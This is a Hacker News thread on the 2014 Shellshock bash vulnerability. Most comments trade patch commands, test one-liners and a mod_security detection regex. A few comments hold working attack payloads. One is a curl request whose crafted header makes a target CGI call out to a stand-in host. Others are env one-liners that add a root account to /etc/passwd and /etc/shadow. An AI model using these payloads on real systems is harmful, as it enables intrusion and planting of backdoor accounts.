-rw-r--r-- 1 root root 2990 Sep 27 00:23 bash_shock_fix.c

phoenix(pts/1):~bin#

------
jtchang
For this to happen the attacker has to control environment variables and then
a bash shell is spawned.

Lots of web stuff spawn shells setting environment variables to stuff in HTTP
headers. LC_TIME with some time zone settings might be one.

------
saurabhnanda
Am I vulnerable if using the Paperclip gem to manage file uploads on a Rails
app (it internally fires up 'convert' to generate thumbnails, I believe).

What if there is an _haproxy_ sitting in front of the Rails app?

------
detectify
We have added the CVE to our scanning routines and the update is now online on
www.detectify.com. Test your environment for unpatched servers. In times like
these it's OK to go for our free plan.

------
detectify
We just released a complete quick-test for #shellshock here:
[https://shellshock.detectify.com/](https://shellshock.detectify.com/). It's
free to use and here's the information about how the scanner works:
goo.gl/8vp6eo

Please feedback here:
[https://news.ycombinator.com/item?id=8366643](https://news.ycombinator.com/item?id=8366643)

------
ck2
Has the redhat patch been pushed through centos yet?

~~~
cesarb
Apparently, no. When it does, it should appear at
[http://lists.centos.org/pipermail/centos-
announce/2014-Septe...](http://lists.centos.org/pipermail/centos-
announce/2014-September/date.html) (if you admin CentOS servers, it can be a
good idea to subscribe to that list).

~~~
skorgu
Yes: [http://lists.centos.org/pipermail/centos-
announce/2014-Septe...](http://lists.centos.org/pipermail/centos-
announce/2014-September/020585.html)

Verify your shasums before trusting a command line off the internet but:

rpm -Uvh
[http://mirror.centos.org/centos-6/6/updates/x86_64/Packages/...](http://mirror.centos.org/centos-6/6/updates/x86_64/Packages/bash-4.1.2-15.el6_5.1.x86_64.rpm)
[http://mirror.centos.org/centos-6/6/updates/x86_64/Packages/...](http://mirror.centos.org/centos-6/6/updates/x86_64/Packages/bash-
doc-4.1.2-15.el6_5.1.x86_64.rpm)

~~~
ck2
Looks like it works. I guess it is okay that after the close quote the command
still runs even though it is not terminated

    
    
         env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
         bash: warning: x: ignoring function definition attempt
         bash: error importing function definition for `x'
         this is a test

------
SchizoDuckie
I'm by no means an expert, but am I completely wrong if I think something like
this should work on an exploitable system to get a pingback from a vulnerable
system without curl ?

    
    
      curl -A "() { :; }; echo GET /pingback.php | telnet bashexploitindexer.fake 80" http://expoitablehost.com/blah.cgi

------
piratebroadcast
My friend tried it on Heroku - It is affected.

------
Sanddancer
Can someone with mod_security test a regex I wrote that should mitigate this?
/\\(. _?\\)\s_ \\{. _?\\}\s_ \;/ from testing seems to catch any variants that
I can think of that can trigger this bug, but I don't have a machine easily
available to me at the moment to test with, unfortunately.

~~~
fragmede
Redhat has some here:
[https://access.redhat.com/articles/1200223](https://access.redhat.com/articles/1200223)

~~~
Sanddancer
Those regexes seem a bit too fragile for my liking. Adding an extra space
between the paren and the bracket breaks it, naming the function breaks it,
etc. Plus it has a bigger chance of triggering false positives. It's an okay
emergency fix, but I'm positive one can do better.

------
kacy
Ubuntu has been patched, it appears. If you're on Ubuntu, try this:

sudo apt-get update

sudo apt-get --only-upgrade install bash

------
mirashii
At a glance, one interesting use of this is a potential local privilege
escalation on systems with a sudoers file which restrict commands which can be
run to ones that include a bash script, and allow you to keep some environment
variables.

------
milankragujevic
Here's an easy to use and reliable scanner to test if your website is
vulnerable.
[http://milankragujevic.com/projects/shellshock/](http://milankragujevic.com/projects/shellshock/)

------
kalops
so basically turn off AcceptEnv in sshd_config?

~~~
justincormack
Also don't use bash for running any scripts. You never should anyway, in a
sane environment /bin/sh should not be bash - in Debian/Ubuntu it is dash
which is not vulnerable. Unfortunately the Redhat derived distros do use bash
as default /bin/sh. In the BSDs it is a standards compliant posix sh too. bash
is for users not scripts.

~~~
mhurron
> in a sane environment /bin/sh should not be bash

Why, other than it is not the shell of the day?

~~~
justincormack
First it encourages people to use bash specific stuff that is non Posix.
Second it is a huge bloated bit of code thats ok as user interface, but
scripts should use something that is more minimal. To avoid this sort of
issue.

~~~
mhurron
> scripts should use something that is more minimal. To avoid this sort of
> issue.

Are you also against Perl and Python or does this scripts should be minimal
only apply to bash?

> First it encourages people to use bash specific stuff that is non Posix

That's not a problem for most people.

These are reasons you don't like bash, not reasons to not use bash.

~~~
bcoates
/bin/sh is the shell called by system(3) and used by portable scripts bundled
with packages. Those things can't use anything but standard sh anyway, so
having them run bash is overkill. "Don't use bash as your /bin/sh" isn't the
same as "don't use bash as your interactive shell" or "don't write bash
scripts"

------
vhost-
For those of us with large clusters and chef, here is a useful knife command
for updating bash on debian/ubuntu systems:

knife ssh 'name:*' 'sudo apt-get update && sudo apt-get install -y --only-
upgrade bash'

------
rurban
What I'm really worried about now is every single cable modem and router out
there, as they are very rarely updated. They run their shit for years. The
bigger routers yes, but smaller ones and the modems not.

------
super_mario
Interestingly enough ancient BASH version 3.2 on Mac OS X 10.9.5 is not
vulnerable:

    
    
        $ echo $BASH_VERSION
        3.2.51(1)-release
        $ x='() { :;}; echo vulnerable' bash -c "echo this is a test"
        bash: warning: x: ignoring function definition attempt
        bash: error importing function definition for `x'
        this is a test
        $
    

I manually patched my BASH 4.3 to patch level 25 so it's not vulnerable
either.

    
    
        $ echo $BASH_VERSION
        4.3.25(1)-release
        $ x='() { :;}; echo vulnerable' bash -c "echo this is a test"
        bash: warning: x: ignoring function definition attempt
        bash: error importing function definition for `x'
        this is a test
        $

~~~
Crito
Since other people are reporting that their copies of bash 3.2.51 _are_
vulnerable, I suspect that the version of bash that is currently running in
that terminal is 3.2.51 and vulnerable, but the version of bash that you are
invoking from that vulnerable version of bash is not.

In other words, I suspect that:

    
    
        $ echo $BASH_VERSION
    

and

    
    
        $ bash --version
    

Will report different version numbers.

If you start a new terminal and try _`echo $BASH_VERSION`_ , you will probably
see a different version as well.

~~~
ak217
Yes - the shell currently running is probably the user's login shell, and the
shell in e.g. /usr/local/bin/bash was probably installed by Homebrew or
MacPorts.

------
emmelaich
So proud of myself; my Python has env={} in the call to Popen().

The ultimate whitelist.

And they're executed with sudo but sudo empties out env vars with functions in
them on the machines I use. Oldest is RHEL5.

------
snissn
Here is a very simple proof of concept that helped me understand the
vulnerability:

    
    
      bash-3.2$ anyvariable='() { true; }; echo foo' bash
      foo

------
ITGabs
env x='() { :;}; echo "johndoe:x:0:0::/root:/bin/sh" >>/etc/passwd' bash -c
"echo this is just a test"

env x='() { :;}; echo
"johndoe:\$6\$eM5eLwRC\$eZhb4x7sf1ctGjN1fXrpsusRHRKTHf/E15OA2Nr4TdTF9F0SS4ousy3WrPCI2ofdNoAonRnNPQ7Ja3FQ/:15997:0:99999:7:::"
>>/etc/shadow' bash -c "echo this is just a test"

Hacked!!

but this only work from root :/ and johndoe xD

------
jacksoncage
Saved a lot of time again today with salt! $ salt * pkg.install bash
refresh=True and then check for right version $ salt * pkg.version bash

------
jamiepenney
Looks like Raspian have updated their bash package with the fix, so my
Raspberry Pi is safe.

------
javert
So if a machine is not running a web server, does that mean that machine is
not vulnerable?

~~~
scott_karana
It _might_ not be vulnerable, but any context where a user can pass
environment variables might be dangerous.

Eg, if you allow _ANY_ environment variables in SSH rsync-only logins, or pass
on _any_ variables (for good or bad) in sudo scripts, etc.

------
FranOntanaya
Saucy wasn't patched by the time I did a do-release-upgrade a while ago.

------
pbrumm
Don't forget to update your docker containers and restart them.

------
mmagin
The patch: ftp://ftp.cwru.edu/pub/bash/bash-4.3-patches/bash43-025

------
jdimov
All the explanations of why this is bad seem to involve CGI. Didn't the CGI
interface die in the 90's? Who uses that nowadays?

~~~
frou_dh
Though it's no doubt rickety, conceptually I really like CGI. Talk about loose
coupling.

------
korzun
FreeBSD appears to be affected.

~~~
sjackso
...if you've installed bash from ports. The base system doesn't appear to be
affected.

~~~
estrabd
The base FreeBSD installation comes with 2 shells - tcsh and sh (not bash!).
However many do install bash.

[https://www.freebsd.org/doc/handbook/shells.html](https://www.freebsd.org/doc/handbook/shells.html)

------
piratebroadcast
Someone please ELI5 (Explain Like I'm 5)?

~~~
cdelsolar
You're very likely pwned. Upgrade immediately.

------
piratebroadcast
Free BashBleed logo for tech journalists -
[http://i.imgur.com/ilJbM74.png](http://i.imgur.com/ilJbM74.png)

~~~
DCtn
You're not funny.

------
zobzu
I have a feeling this is blown out of proportion. Who's running bash setuid
exactly? Right. Who's running shell CGIs today? Right.

So.. who has an example of common scripts that are executed remotely in most
servers while accepting remote environment? Til then, the panic seems
unjustified...

~~~
fabulist
Google brings up 410 .bash CGIs. Every one of them is almost guaranteed to be
vulnerable at this point. Of the 1.2 million .sh CGIs, some are surely
vulnerable. By this time, many of them are already be in the process of being
owned.

CGIs are likely the smallest piece of the vulnerable hosts here. This is going
to stick around as a local vulnerability on the plentiful supply of under-
patched Linux boxes for a long time.

~~~
zobzu
thats a really small number of servers actually.. i mean ppl get owned every
day, every minute. theres a bunch of more easily exploitable local bugs that
actually elevate your privileges.

this one bug DOES NOT elevate privs. you need a service that passes
unsanitized env vars (unchecked user input) to bash with another user id than
yours.

